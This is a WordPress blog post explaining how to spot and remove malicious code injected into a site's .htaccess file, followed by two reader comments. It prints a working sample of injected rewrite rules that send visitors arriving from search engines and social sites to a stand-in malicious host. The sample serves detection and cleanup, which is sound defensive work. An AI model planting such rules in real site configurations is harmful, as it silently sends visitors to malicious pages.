How To Clean and Prevent htaccess Hack For A WordPress Site?

With the increasing popularity of the WordPress platform, hackers are trying to find more tricks to hack a website. There are many ways using which the hackers can enter in your website by creating the backdoors. You all know that the .htaccess file has a great impact on your website and you need to check it to prevent htaccess hack.

the hackers may put any redirect code in your .htaccess file which can cause the problem for you. You should know about the hacked htaccess file WordPress website to clean it up. For which, you should know how to edit the .htaccess file in the cPanel.

My htaccess File Keeps getting hacked. How Can I Notice The hack?

There is not one way to hack your website. It may be from your FTP account or your email address you have created using your domain name. It may be by hacking your login credentials and locks you away from your WordPress admin panel.

You can check whether your website has infected with a malware or not using the Google’s help. Just type the URL showing below in the browser and search for your website’s situation.

http://google.com/safebrowsing/diagnostic?site=yourdomain.com

Don’t forget to replace “yourdomain” with the domain name of your website. After that, you will see the results of the past and the present state of your website.

While in the .htaccess file, it can be done by injecting the code. After adding this code, people won’t visit your website. If the redirect code has been added then the users would get redirected to the malicious website through yours.

To prevent htaccess hack, you should check your .htaccess file from the cPanel of your web hosting account. Let me show you how:-

Step 1:- Login to your cPanel and go to the “files” section.

Step 2:- Click on the file manager and make sure that you have enabled to show the hidden file. It’s because .htaccess is a hidden file and you won’t see it until you click on that checkbox.

Step 3:- Search for the .htaccess file and click on the “edit” option. You have the backup of your .htaccess file then you can match your file. But you don’t have the backup then you have to find some unknown code which isn’t familiar to you.

In most of the hacked cases, the hackers inject the redirect code which then loads the bad script on your website and damages your website. Let me show you an example:-

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [OR]
RewriteCond %{HTTP_REFERER} .*facebook.com*$ [OR]
RewriteCond %{HTTP_REFERER} .*twitter.com*$ [OR]
RewriteCond %{HTTP_REFERER} .*blog.com*$ [OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [OR]
RewriteRule .* http://somebadsite.com/bad.php?t=3 [R=301,L]
</IfModule>

In the above shown code the hackers have used the conditional hack. According to the conditions “RewriteCond%{HTTP_REFERER}” for each and every search engine including Google. If there is a string related to that then the rewrite rule will be applied to redirect your website to some bad website or the malicious website which would upload the bad script on your website.

Step 4:- To prevent htaccess hack, you have to delete this code from your .htaccess file and save it. You can create the .htaccess file again so, just delete the whole file and generate it again.

There are many other rules using which the hackers can hack your website through the .htaccess file. So it’s important to keep it safe.

The Hacked .htaccess File WordPress Should be cleaned up.

To solve the problem and secure your WordPress website, you have to know the security tips and tricks. Stop saying my htaccess file keeps getting hacked. Take an action to prevent htaccess hack. I have shown you an example in this post. There may be any kind of the code injected in your .htaccess file.

You should check it manually. Though you can come to know if your website has been hacked or not using Google tools. But after that, you have to find the hack position and the backdoor created by the hackers.

If you liked the article then connect with us on Twitter, LinkedIn, and Facebook.

by Ravi Chahar

A WordPress Professional and the LinkedIn Influencer. A coder by passion and a blogger by choice. WordPress theme development is his forte. He is your WordPress guy who will teach you how to solve WordPress errors, WordPress security issues, design issues and what not.

Get Free Updates Into Your Inbox

Learn Everything Just Like I Did

SUBSCRIBE

2 comments

  1. Hey Ravi,

    Good stuff here. I’ve had malware on my site but never had redirects within my .htacess file.

    I started using Sucuri some years ago. They did a great job in getting rid of the malware and I highly recommend them.

    Thanks for sharing this message of protecting the .ht access file. Have a good one!

    1. Hey Sherman,

      As I have mentioned in the post that you won’t always find the redirect code in the .htaccess file. It’s just an example. People can have an idea about the hack.

      There are many security plugins which can be used on your WordPress website. Wordfence, Sucuri, Bulletproof Security and else.
      Thanks for sharing your thoughts.
      Enjoy the week ahead.
      ~Ravi

Leave a Reply

Your email address will not be published. Required fields are marked *